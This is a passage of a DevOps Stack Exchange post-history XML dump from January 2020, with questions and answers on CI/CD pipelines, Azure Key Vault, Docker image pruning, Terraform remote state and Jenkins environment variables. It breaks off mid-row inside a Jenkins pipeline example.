  <row Id="32170" PostHistoryTypeId="2" PostId="10462" RevisionGUID="4c119ed9-0d3b-42ca-83fb-ad93ae421a5e" CreationDate="2020-01-10T21:45:22.843" UserId="19037" Text="&#xA;I am looking to validate the use of devops for a team of seven people, each having a specific function. &#xA;&#xA;1 Java Developer  &#xA;1 System Administrator  &#xA;1 Team Lead/Project Manager  &#xA;1 Identity Management Admin  &#xA;2 Access Management Admin  &#xA;1 PKI Registration Agent  &#xA;&#xA;We have different workflows for each function. However, from my perspective, it's all the same. New ideas or requirements bring about new or changes to code, which initiates the workflow.  To me, application updates, OS patching, and innovation are all the same. Could CI/CD pipelines be created to standardize infrastructure security and configuration as well as enable a faster and more feature tuned application release cycle?  Any input would be most appreciated. &#xA;&#xA;-Darryl&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32171" PostHistoryTypeId="1" PostId="10462" RevisionGUID="4c119ed9-0d3b-42ca-83fb-ad93ae421a5e" CreationDate="2020-01-10T21:45:22.843" UserId="19037" Text="Infrastructure Automation with GitLab" ContentLicense="CC BY-SA 4.0" />
  <row Id="32172" PostHistoryTypeId="3" PostId="10462" RevisionGUID="4c119ed9-0d3b-42ca-83fb-ad93ae421a5e" CreationDate="2020-01-10T21:45:22.843" UserId="19037" Text="&lt;automation&gt;&lt;infrastructure-as-code&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32173" PostHistoryTypeId="5" PostId="10394" RevisionGUID="91085e51-2952-44bc-b433-31c120a53484" CreationDate="2020-01-10T22:05:38.437" UserId="707" Comment="added 7 characters in body" Text="@jasper, and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;While your statement can be [confirmed][1] by other voices, it's very hard to x-ray price policies of a company. It's a complex gameplay always driven by [many factors][2] and decisions and a question about pricing policies of Digital Ocean vs. AWS might be a good and on possibly well on topic question at Economics SE.&#xD;&#xA;&#xD;&#xA;For example, one could argue to find facts supporting the evidence of Digital Ocean currently being cheaper that:&#xD;&#xA;&#xD;&#xA;- &lt;s&gt;Docker, Inc. is in a [situation][3] where it cannot afford losing customers, so maybe they a cautious and prefer lower margin to attract customers.&lt;/s&gt;&#xD;&#xA;- Amazon is the market's prime with top notch customers from overall industry and government: stability, seriousity and credability are way more important than money, especially given that expenditures on information technology is only a (small) part of industrial budget planning. Also, Amazon has many more data centers and is as whole [investing][4] *billions* to AI technology ($0.8b in [2017][5], almost complete estimated [market value][6] of Docker Inc.), custom data center hardware, buying startups etc.&#xD;&#xA;&#xD;&#xA;Please consider making your question more specific in the DevOps SE site context to get more answers.&#xD;&#xA;&#xD;&#xA;This sort of decision is possibly best to elaborate together with the customer, collect their business requirements if price is not the only one requirement and assess risks. &#xD;&#xA;&#xD;&#xA;**Further reading**/related business topic: *[due diligence][7]*.&#xD;&#xA;&#xD;&#xA;**Additional note**: one might think, AWS would have way more customers than Digital Ocean but at least as of 2017 this was not the case. &#xD;&#xA;&#xD;&#xA;* Digital Ocean: [1 million users in 2017][8]&#xD;&#xA;* AWS: [more than 1 million users in 2017][9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/Is-DigitalOcean-cheaper-compared-to-AWS-EC2&#xD;&#xA;  [2]: http://www.shareyouressays.com/knowledge/what-are-the-factors-influencing-pricing-decisions-in-a-market/112825&#xD;&#xA;  [3]: https://www.zdnet.com/article/docker-is-in-deep-trouble/&#xD;&#xA;  [4]: https://www.fool.com/investing/2019/10/29/amazons-spending-surge-is-coming-at-the-perfect-ti.aspx&#xD;&#xA;  [5]: https://www.techrepublic.com/article/the-10-tech-companies-that-have-invested-the-most-money-in-ai/&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Docker,_Inc.&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Due_diligence&#xD;&#xA;  [8]: https://www.forbes.com/sites/janakirammsv/2017/02/14/with-almost-a-million-registered-users-digitalocean-is-ready-to-ride-the-cloud-wave/#5d2d143053ae&#xD;&#xA;  [9]: https://www.contino.io/insights/whos-using-aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="32175" PostHistoryTypeId="33" PostId="10440" RevisionGUID="fb89ed11-0ddb-485c-b975-dfe3983175b1" CreationDate="2020-01-11T01:54:54.207" UserId="18304" Comment="52" />
  <row Id="32182" PostHistoryTypeId="2" PostId="10465" RevisionGUID="68fe79f8-1f17-4e05-a804-bd6efa07c037" CreationDate="2020-01-11T17:59:51.303" UserId="19060" Text="I have a pipeline on azure DevOps that publishes an artifact (`releasenotes.txt`). &#xD;&#xA;&#xD;&#xA;It also has integration with Slack using ( https://docs.microsoft.com/en-us/azure/devops/pipelines/integrations/slack?view=azure-devops ) . &#xD;&#xA;&#xD;&#xA;How can i send `releasenotes.txt` to Slack? is it possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32183" PostHistoryTypeId="1" PostId="10465" RevisionGUID="68fe79f8-1f17-4e05-a804-bd6efa07c037" CreationDate="2020-01-11T17:59:51.303" UserId="19060" Text="Publish pipeline artifact to Slack" ContentLicense="CC BY-SA 4.0" />
  <row Id="32184" PostHistoryTypeId="3" PostId="10465" RevisionGUID="68fe79f8-1f17-4e05-a804-bd6efa07c037" CreationDate="2020-01-11T17:59:51.303" UserId="19060" Text="&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;azure-pipelines&gt;&lt;artifacts&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32185" PostHistoryTypeId="5" PostId="10465" RevisionGUID="02d0f485-6b42-465b-a7b9-f43f0ff1638e" CreationDate="2020-01-11T20:07:22.897" UserId="354" Comment="Just some capitalisation." Text="I have a pipeline on Azure DevOps that publishes an artifact (`releasenotes.txt`). &#xD;&#xA;&#xD;&#xA;It also has integration with Slack using ( https://docs.microsoft.com/en-us/azure/devops/pipelines/integrations/slack?view=azure-devops ) . &#xD;&#xA;&#xD;&#xA;How can I send `releasenotes.txt` to Slack? Is it possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32191" PostHistoryTypeId="2" PostId="10467" RevisionGUID="35d512ef-f014-49f5-b4fc-4b5a953ea55d" CreationDate="2020-01-12T04:54:07.533" UserId="19065" Text="I am using the GitHub project [elio/openshift-vagrant][1]. vagrant up and then the script oc-up.sh gives me a master and two nodes. Ansible provision runs without problems.&#xD;&#xA;&#xD;&#xA;After provision I can login to https://master.example.com:8443 as admin. I can create a project. When I try to deploy *jenkins-ephemeral* this fails with message&#xD;&#xA;&#xD;&#xA;&gt; error: couldn't get deployment jenkins-1: Get&#xD;&#xA;&gt; https://172.30.0.1:443/api/v1/namespaces/test2/replicationcontrollers/jenkins-1:  dial tcp 172.30.0.1:443: connect: connection refused&#xD;&#xA;&#xD;&#xA;Ansible installer status shows no problems in the cluster. Why is this not working? How can I troubleshoot this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/eliu/openshift-vagrant" ContentLicense="CC BY-SA 4.0" />
  <row Id="32192" PostHistoryTypeId="1" PostId="10467" RevisionGUID="35d512ef-f014-49f5-b4fc-4b5a953ea55d" CreationDate="2020-01-12T04:54:07.533" UserId="19065" Text="OpenShift fails to deploy jenkins - connection refused" ContentLicense="CC BY-SA 4.0" />
  <row Id="32193" PostHistoryTypeId="3" PostId="10467" RevisionGUID="35d512ef-f014-49f5-b4fc-4b5a953ea55d" CreationDate="2020-01-12T04:54:07.533" UserId="19065" Text="&lt;jenkins&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32194" PostHistoryTypeId="5" PostId="8178" RevisionGUID="94559851-4781-4ad2-a94d-fc67244c03c9" CreationDate="2020-01-12T08:12:00.087" UserId="40" Comment="added 70 characters in body" Text="Use this tag if a question is about Istio, which  can be used to connect, secure, control, and observe services." ContentLicense="CC BY-SA 4.0" />
  <row Id="32195" PostHistoryTypeId="5" PostId="8177" RevisionGUID="ada17841-9306-4ae7-93b7-229267a14037" CreationDate="2020-01-12T08:17:38.230" UserId="40" Comment="added 1005 characters in body" Text="Istio can be used to connect, secure, control, and observe services.&#xD;&#xA;&#xD;&#xA;From the [Istio](https://istio.io/) website:&#xD;&#xA;&#xD;&#xA;&gt; Cloud platforms provide a wealth of benefits for the organizations that use them. However, there’s no denying that adopting the cloud can put strains on DevOps teams. Developers must use microservices to architect for portability, meanwhile operators are managing extremely large hybrid and multi-cloud deployments. Istio lets you connect, secure, control, and observe services.&#xD;&#xA;&#xD;&#xA;&gt; At a high level, Istio helps reduce the complexity of these deployments, and eases the strain on your development teams. It is a completely open source service mesh that layers transparently onto existing distributed applications. It is also a platform, including APIs that let it integrate into any logging platform, or telemetry or policy system. Istio’s diverse feature set lets you successfully, and efficiently, run a distributed microservice architecture, and provides a uniform way to secure, connect, and monitor microservices." ContentLicense="CC BY-SA 4.0" />
  <row Id="32199" PostHistoryTypeId="2" PostId="10469" RevisionGUID="eb9339aa-ed0f-4853-8a57-2dcd007b7fee" CreationDate="2020-01-13T02:06:30.323" UserId="16059" Text="Historically, especially in the Java world, build-once, deploy everywhere has been a very big thing for deployments.  Artifacts should be built exactly one time when a release is made and stored somewhere like Nexus or Artifactory where they are immutable and can be deployed to all environments, repeatedly and sHistorically, especially in the Java world, build-once, deploy everywhere has been a very big thing for deployments.  Artifacts should be built exactly one time when a release is made and stored somewhere like Nexus or Artifactory where they are immutable and can be deployed to all environments, repeatedly and safely.&#xD;&#xA;afely.&#xD;&#xA;&#xD;&#xA;GitLab flow, on the other hand, seems to recommend having a branch per environment and deploying to that environment as an event upon doing a merge request to the branch.  E.g. a master -&gt; staging merge runs CI/CD on the staging branch, resulting in a deployment there.  Merging the staging to the production branch does the same in production (with the possibility of forcing a manual agreement to the run).&#xD;&#xA;&#xD;&#xA;So, GitLab flow causes us to rebuild our artifacts for every environment rather than build once deploy everywhere.&#xD;&#xA;&#xD;&#xA;**Does this mean we should totally ditch build-once deploy-everywhere when moving to modern tools like GitLab/GitHub?  Is that a good thing?**&#xD;&#xA;&#xD;&#xA;I guess we can augment GitLab flow by:&#xD;&#xA;&#xD;&#xA; - Build artifacts on merge into DEV branch and store in a maven/etc repo.&#xD;&#xA; - Do deployment using those artifacts. &#xD;&#xA; - Have merges to staging/prod skip build/test and only do deploy using the same artifacts.&#xD;&#xA;&#xD;&#xA;This seems like forcing GitLab/etc to do something against their model though, so I'm thinking its not a good idea.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Note: I also am wondering how building/testing/deploying in every environment separately is possible in some large projects.  E.g. Facebook's presto has like an hour of tests in a maven build (or more)... I wouldn't want my production release taking hours; that's the opposite of modern.&#xD;&#xA;&#xD;&#xA;**Any thoughts here?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="32200" PostHistoryTypeId="1" PostId="10469" RevisionGUID="eb9339aa-ed0f-4853-8a57-2dcd007b7fee" CreationDate="2020-01-13T02:06:30.323" UserId="16059" Text="Is GitLab flow (or GitHub flow, etc) anti build-once deploy-everywhere?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32201" PostHistoryTypeId="3" PostId="10469" RevisionGUID="eb9339aa-ed0f-4853-8a57-2dcd007b7fee" CreationDate="2020-01-13T02:06:30.323" UserId="16059" Text="&lt;deployment&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32202" PostHistoryTypeId="2" PostId="10470" RevisionGUID="b50f0f4b-2f0c-48e0-a322-d2581d12391b" CreationDate="2020-01-13T02:19:10.553" UserId="18292" Text="I am coming from AWS / Linux and try this in Azure / Windows, now.&#xD;&#xA;&#xD;&#xA;**The Question:**&#xD;&#xA;&#xD;&#xA;I have a windows container in Azure and want it to get some secrets from an Azure Vault. How can I do that?&#xD;&#xA;&#xD;&#xA;**This is how I thought it would work (but didn't):**&#xD;&#xA;&#xD;&#xA;I had expected that I could just run &#xD;&#xA;&#xD;&#xA;```az keyvault secret show --name &quot;my_secret&quot; --vault-name &quot;my_fault&quot;```&#xD;&#xA;&#xD;&#xA;... at least after adding permissions to the container. Unfortunately, I cannot find out how to add permissions to the container to access the vault. &#xD;&#xA;&#xD;&#xA;**What I have tried so far:**&#xD;&#xA;&#xD;&#xA;I have created the vault and added an &quot;application&quot; under &quot;Access Policies&quot;. I do not find any way how to make the container act as the &quot;application&quot;.&#xD;&#xA;&#xD;&#xA;I have read that items need to get an &quot;identity assigned&quot; [1], but this seems to be not supported with windows containers [2]. I had tried it out before I found the documentation, and it did not work.&#xD;&#xA;&#xD;&#xA;How can I access the azure key vault from an azure container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/container-instances/container-instances-managed-identity&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/services-support-managed-identities" ContentLicense="CC BY-SA 4.0" />
  <row Id="32203" PostHistoryTypeId="1" PostId="10470" RevisionGUID="b50f0f4b-2f0c-48e0-a322-d2581d12391b" CreationDate="2020-01-13T02:19:10.553" UserId="18292" Text="Azure Windows Container: How to read secrets from an azure vault" ContentLicense="CC BY-SA 4.0" />
  <row Id="32204" PostHistoryTypeId="3" PostId="10470" RevisionGUID="b50f0f4b-2f0c-48e0-a322-d2581d12391b" CreationDate="2020-01-13T02:19:10.553" UserId="18292" Text="&lt;containers&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32205" PostHistoryTypeId="2" PostId="10471" RevisionGUID="9257b5f4-9e8f-47ca-aa50-c8941cb5d9d1" CreationDate="2020-01-13T08:03:18.390" UserId="19072" Text="It is.&#xD;&#xA;&#xD;&#xA;You can install the ZIP installation and unzip it in the EFS.&#xD;&#xA;Alternatively, install using Debian/RPM and mount the EFS to `/var/opt/jfrog/artifactory` in advance.&#xD;&#xA;&#xD;&#xA;Alternative approach can be to only [configure the Filestore][1] to use the EFS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Configuring+the+Filestore" ContentLicense="CC BY-SA 4.0" />
  <row Id="32209" PostHistoryTypeId="2" PostId="10473" RevisionGUID="60c4f740-fd14-4916-bfbf-9fc9a4768d2c" CreationDate="2020-01-13T11:17:44.967" UserId="18007" Text="I want to run some script which checks for LDAP issue, and in case it found something, it sent me alert.&#xD;&#xA;I thought using ssh command with some genric user, but I'm not sure what is the response I'm expecting to get in case LDAP server is down. any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32210" PostHistoryTypeId="1" PostId="10473" RevisionGUID="60c4f740-fd14-4916-bfbf-9fc9a4768d2c" CreationDate="2020-01-13T11:17:44.967" UserId="18007" Text="How to get alert for LDAP issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="32211" PostHistoryTypeId="3" PostId="10473" RevisionGUID="60c4f740-fd14-4916-bfbf-9fc9a4768d2c" CreationDate="2020-01-13T11:17:44.967" UserId="18007" Text="&lt;linux&gt;&lt;security&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32212" PostHistoryTypeId="2" PostId="10474" RevisionGUID="4dca5e0a-a307-4811-b947-f73e4e33eb33" CreationDate="2020-01-13T11:38:17.903" UserId="19080" Text="I'm trying to write a build pipeline that runs every second friday (essentially at the end of a sprint). Using the classic editor it appears I can only set a trigger that would run every friday. Is there any way I can achieve what I'm after?&#xD;&#xA;&#xD;&#xA;Perhaps it runs every week but stops immediately if it can interpret the when the build was last run (although that doesn't seem to be exposed anywhere). I guess another alternative would be a triggering build that calls to the devops API to figure out if its the last day of the timebox. Neither of theses are ideal though for a fairly simple requirement (imo).&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="32213" PostHistoryTypeId="1" PostId="10474" RevisionGUID="4dca5e0a-a307-4811-b947-f73e4e33eb33" CreationDate="2020-01-13T11:38:17.903" UserId="19080" Text="Azure devops, fortnightly build trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="32214" PostHistoryTypeId="3" PostId="10474" RevisionGUID="4dca5e0a-a307-4811-b947-f73e4e33eb33" CreationDate="2020-01-13T11:38:17.903" UserId="19080" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32215" PostHistoryTypeId="5" PostId="10469" RevisionGUID="4d53165f-7b60-4749-b311-e093b5afa43c" CreationDate="2020-01-13T12:43:45.247" UserId="16059" Comment="deleted 313 characters in body" Text="Historically, especially in the Java world, build-once, deploy everywhere has been a very big thing for deployments.  Artifacts should be built exactly one time when a release is made and stored somewhere like Nexus or Artifactory where they are immutable and can be deployed to all environments, repeatedly and safely.&#xD;&#xA;&#xD;&#xA;GitLab flow, on the other hand, seems to recommend having a branch per environment and deploying to that environment as an event upon doing a merge request to the branch.  E.g. a master -&gt; staging merge runs CI/CD on the staging branch, resulting in a deployment there.  Merging the staging to the production branch does the same in production (with the possibility of forcing a manual agreement to the run).&#xD;&#xA;&#xD;&#xA;So, GitLab flow causes us to rebuild our artifacts for every environment rather than build once deploy everywhere.&#xD;&#xA;&#xD;&#xA;**Does this mean we should totally ditch build-once deploy-everywhere when moving to modern tools like GitLab/GitHub?  Is that a good thing?**&#xD;&#xA;&#xD;&#xA;I guess we can augment GitLab flow by:&#xD;&#xA;&#xD;&#xA; - Build artifacts on merge into DEV branch and store in a maven/etc repo.&#xD;&#xA; - Do deployment using those artifacts. &#xD;&#xA; - Have merges to staging/prod skip build/test and only do deploy using the same artifacts.&#xD;&#xA;&#xD;&#xA;This seems like forcing GitLab/etc to do something against their model though, so I'm thinking its not a good idea.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Note: I also am wondering how building/testing/deploying in every environment separately is possible in some large projects.  E.g. Facebook's presto has like an hour of tests in a maven build (or more)... I wouldn't want my production release taking hours; that's the opposite of modern.&#xD;&#xA;&#xD;&#xA;**Any thoughts here?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="32216" PostHistoryTypeId="2" PostId="10475" RevisionGUID="39f0a74c-7c1f-433e-8aa1-7c29d1d034bb" CreationDate="2020-01-13T14:28:27.040" UserId="19083" Text="Can I configure Docker in a such way that it will store only certain amount of tags for the given image e.g. `docker images`&#xD;&#xA;&#xD;&#xA;    REPOSITORY                     TAG                                      IMAGE ID            CREATED             SIZE&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   02e56bac4ee3f27a4d5670a6ac0d578e3dd5b2e5   af154c422af8        2 days ago          1.25GB&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   d43d33c8e15a5578cf9f6831f94a18f94e9b932f   e9958837c2c5        3 days ago          1.25GB&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   3a97c3ac36f6c241fb061199c5d3347b9bbff94a   3e80e7a25667        3 days ago          1.25GB&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   12f9a2890c67d42eb050e7d06dd593ec932b1ee7   8c07b05cd756        4 days ago          1.25GB&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   7b55fb6a75c73d16cbc731050d29323ae6b90632   426530a5cc66        4 days ago          1.22GB&#xD;&#xA;    ecr.us-east-1.amazonaws.com/myapp   c222e88d6b24984f338091cc5600aabb62e0ac72   e65e650d2dd1        2 weeks ago        &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and I want to store locally only N **most recent** images. Can I configure some kind of policy or is there any common script that runs rotation with cron or something like that? Other best practices/suggestions are welcome." ContentLicense="CC BY-SA 4.0" />
  <row Id="32217" PostHistoryTypeId="1" PostId="10475" RevisionGUID="39f0a74c-7c1f-433e-8aa1-7c29d1d034bb" CreationDate="2020-01-13T14:28:27.040" UserId="19083" Text="Docker preserve images policy" ContentLicense="CC BY-SA 4.0" />
  <row Id="32218" PostHistoryTypeId="3" PostId="10475" RevisionGUID="39f0a74c-7c1f-433e-8aa1-7c29d1d034bb" CreationDate="2020-01-13T14:28:27.040" UserId="19083" Text="&lt;docker&gt;&lt;shell-script&gt;&lt;docker-registry&gt;&lt;repository&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32219" PostHistoryTypeId="2" PostId="10476" RevisionGUID="51664688-6f4a-46ab-bbae-c77b6c97babb" CreationDate="2020-01-13T14:31:17.067" UserId="18637" Text="Have you set Jenkins ssh key to have access to source?&#xD;&#xA;Another point is to validate if the SSH port is open. According to error can be one of these things" ContentLicense="CC BY-SA 4.0" />
  <row Id="32220" PostHistoryTypeId="2" PostId="10477" RevisionGUID="e1fa0e0f-b76c-4e73-9a60-bb330e7b8c39" CreationDate="2020-01-13T16:39:45.013" UserId="19085" Text="I need to reference my VNET Gateway residing in an infrastructure folder, in a VPN folder in order to connect a VPN utilising a Local Network Gateway, but these could be any object in Azure for the sake of argument. These folders both use seperate state files hosted in Azure blob storage.  &#xD;&#xA;&#xD;&#xA;What would be the best way to go about calling this VNET Gateway's ID in another folder? The usual methods of using e.g &quot;module.vnet_gateway.id&quot; or e.g &quot;data.azurerm_vnet_gateway.id&quot; won't work in this scenario. &#xD;&#xA;&#xD;&#xA;I've considered some way of referencing it by name, which I know, and pulling the id as an output, but I'm not certain this is the best method.  &#xD;&#xA;&#xD;&#xA;I've read about using remote-state, which I assume as per the guides on Google would involve creating a data-source pointed to my specific state file for &quot;inf&quot;, and then pulling the data back, but I've yet to find a good example on Azure of how to achieve this. &#xD;&#xA;&#xD;&#xA;Any pointers or examples StackExchange could provide to get me in the right direction?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32221" PostHistoryTypeId="1" PostId="10477" RevisionGUID="e1fa0e0f-b76c-4e73-9a60-bb330e7b8c39" CreationDate="2020-01-13T16:39:45.013" UserId="19085" Text="Calling a Terraform object in seperate folder" ContentLicense="CC BY-SA 4.0" />
  <row Id="32222" PostHistoryTypeId="3" PostId="10477" RevisionGUID="e1fa0e0f-b76c-4e73-9a60-bb330e7b8c39" CreationDate="2020-01-13T16:39:45.013" UserId="19085" Text="&lt;terraform&gt;&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32223" PostHistoryTypeId="2" PostId="10478" RevisionGUID="302d400d-c945-4865-9437-11304c9d103a" CreationDate="2020-01-13T17:24:41.650" UserId="4115" Text="Jenkins itself isn't very good at using external data sources to drive dynamic job scheduling.  The reason for this is that job configuration, including scheduling, is built statically, either manually via the web UI, or with code via a Pipeline script which is run at job execution time.  Even if the Pipeline script builds the job configuration in a dynamic way, the configuration itself will be locked in until the next job execution.&#xD;&#xA;&#xD;&#xA;The easiest way to have flexible build schedules is use an external source to drive your builds.  The hook mentioned in the comments would be ideal, but it sounds like that is not possible for you.  Another idea would be to have a cron job on your database server that runs once a day, grabs the build time from the database, and schedules the build for that time.  I'm sure this isn't a great solution, but it's just an example." ContentLicense="CC BY-SA 4.0" />
  <row Id="32224" PostHistoryTypeId="2" PostId="10479" RevisionGUID="0e8c1eeb-2690-4bfa-86f9-e2ca6b17cb0b" CreationDate="2020-01-13T19:37:15.340" UserId="19083" Text="This error `CannotPullContainerError` usually occurs when you have no access to the Internet from ECS and thus it doesn't able to pull an image from registry.&#xD;&#xA;&#xD;&#xA;Make sure you have networking configured in such a way to have an access to Internet https://stackoverflow.com/questions/48226547/aws-fargate-cannotpullcontainererror-500&#xD;&#xA;&#xD;&#xA;Manually you can confirm everything with such steps&#xD;&#xA;&#xD;&#xA; 1. Find route table. Check whether it belongs&#xD;&#xA;    to your VPC.&#xD;&#xA; 2. Find proper NAT (you need NAT Gateway ID) (**IMPORTANT**: NAT should be launched in PUBLIC&#xD;&#xA;    subnet)&#xD;&#xA; 3. Create a route for that&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-route --route-table-id &quot;rtb-037148d7b5967a231&quot; --destination-cidr-block &quot;0.0.0.0/0&quot; --nat-gateway-id &quot;nat-0c137ae8a2b409088&quot;&#xD;&#xA;&#xD;&#xA;You can also use internet gateway instead of NAT but the main idea is the same - to create connectivity from service to registry.&#xD;&#xA;If you have that in place and verified you can easily rewrite that to ansible tasks." ContentLicense="CC BY-SA 4.0" />
  <row Id="32225" PostHistoryTypeId="2" PostId="10480" RevisionGUID="e5df6906-eff1-4c4e-8e87-1006523ad9e2" CreationDate="2020-01-13T19:45:44.143" UserId="15792" Text="I do not believe that there is a way to set this as a global policy.  However, there is a simple command you can run that will &quot;prune&quot; or remove your unused images.&#xD;&#xA;&#xD;&#xA;You will want to use `docker image prune --filter [options]` to achieve this.  Check out the official documentation for information on how to best filter.  As a best practice you should be tagging your images which will make managing of them easier using tools like this." ContentLicense="CC BY-SA 4.0" />
  <row Id="32226" PostHistoryTypeId="2" PostId="10481" RevisionGUID="8f4e09f2-12cf-4ef5-bef0-93768bb2d91a" CreationDate="2020-01-13T21:51:51.003" UserId="19089" Text="Using a remote state file and referencing the state from a different state template would be the way I would go. Would need to add an output to resource that needs to be shared as well as configuring remote state storage, access controls, and security. &#xD;&#xA;This URL has example of setting up the remote backend in azureRM.&#xD;&#xA;https://www.terraform.io/docs/backends/types/azurerm.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32227" PostHistoryTypeId="2" PostId="10482" RevisionGUID="bd4dde67-896a-4a8a-b3b1-bb0de94e10f6" CreationDate="2020-01-13T23:40:17.330" UserId="18637" Text="You have a lot of ways to automatize you infrastructure. For your pipelines you can use a tool for this like Jenkins, Travis CI, GitLab, Concourse CI, Drone IO and through turn better CI/CD for your developer.&#xD;&#xA;&#xD;&#xA;From the perspective of automating the infra, you can use Terraform to raise it, manage to maintain the default using Ansible and to handle jobs you can use Rundeck.&#xD;&#xA;&#xD;&#xA;But the more important it's you plan how to you link these tools." ContentLicense="CC BY-SA 4.0" />
  <row Id="32228" PostHistoryTypeId="2" PostId="10483" RevisionGUID="b0e850ce-0479-4e87-98b9-03059645aeb7" CreationDate="2020-01-13T23:52:55.183" UserId="5743" Text="Note that if you're not actually checking out a Jenkinsfile (if you're coding in the Pipeline Script config window), `GIT_BRANCH` will be null, and Hedi Nasr's answer will fail.&#xD;&#xA;&#xD;&#xA;You don't give any information about how you checked out the project, so I'm going to assume you cloned it at some point during the execution of your Jenkinsfile. In that case, the repository will be in a detached state, even if you cloned it with a target branch:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git status&#xD;&#xA;# HEAD detached at 9a92344&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this case before you can commit you need to checkout your branch as Hedi Nasr points out. You should know your target branch in advance, and can inject it with envInject's Properties Content if you need to vary by instance.&#xD;&#xA;&#xD;&#xA;You can also discover branches with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git branch -a&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32229" PostHistoryTypeId="5" PostId="10483" RevisionGUID="0b7c0ea0-fdb7-4def-a61c-8c98166db9e6" CreationDate="2020-01-13T23:58:28.747" UserId="5743" Comment="added 166 characters in body" Text="Note that if you're not actually checking out a Jenkinsfile (if you're coding in the Pipeline Script config window), `GIT_BRANCH` will be `null`, and Hedi Nasr's answer will fail (you can access the var with `${env.GIT_BRANCH}` instead to avoid the hard fail, but it will still be `null`).&#xD;&#xA;&#xD;&#xA;You don't give any information about how you checked out the project, so I'm going to assume you cloned it at some point during the execution of your Jenkinsfile. In that case, the repository will be in a [detached state](https://git-scm.com/docs/git-checkout#Documentation/git-checkout.txt-emgitcheckoutem--detachltbranchgt), even if you cloned it with a target branch:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git status&#xD;&#xA;# HEAD detached at 9a92344&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this case before you can commit you need to checkout your branch as Hedi Nasr points out. You should know your target branch in advance, and can inject it with [envInject](https://wiki.jenkins.io/display/JENKINS/EnvInject+Plugin)'s Properties Content if you need to vary by instance.&#xD;&#xA;&#xD;&#xA;You can also discover branches with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git branch -a&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32230" PostHistoryTypeId="2" PostId="10484" RevisionGUID="0f7e6907-58b7-4520-9d4c-047bf30e4599" CreationDate="2020-01-14T00:11:38.437" UserId="5743" Text="You can also use environment block to inject an environment variable.&#xD;&#xA;&#xD;&#xA;(Side note: `sh` is not needed for echo)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent none&#xD;&#xA;    environment {&#xD;&#xA;        FOO = &quot;bar&quot;&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage(&quot;first&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;${env.FOO}&quot;&#xD;&#xA;                // or echo &quot;${FOO}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can even define the env var inside the stage block to limit the scope:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent none&#xD;&#xA;    stages {&#xD;&#xA;        stage(&quot;first&quot;) {&#xD;&#xA;            environment {&#xD;&#xA;                FOO = &quot;bar&quot;&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;                // prints &quot;bar&quot;&#xD;&#xA;                echo &quot;${env.FOO}&quot;&#xD;&#xA;                // or echo &quot;${FOO}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage(&quot;second&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                // prints 